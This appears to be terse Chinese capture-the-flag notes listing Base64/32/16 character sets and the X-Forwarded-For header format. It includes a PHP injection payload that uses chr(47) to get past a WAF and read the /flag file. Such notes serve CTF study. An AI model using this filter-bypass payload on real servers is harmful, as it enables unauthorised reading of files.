Base64: A-Z、a-z、0-9、+、/、最多两个=
Base32: A-Z、2-7、可以出现两个以上=
Base16: 0-9、A-F
X-Forwarded-For:client, proxy1, proxy2有waf读取/flag文件,var_dump(readfile(chr(47).flag))
X-Forwarded-For:client, proxy1, proxy2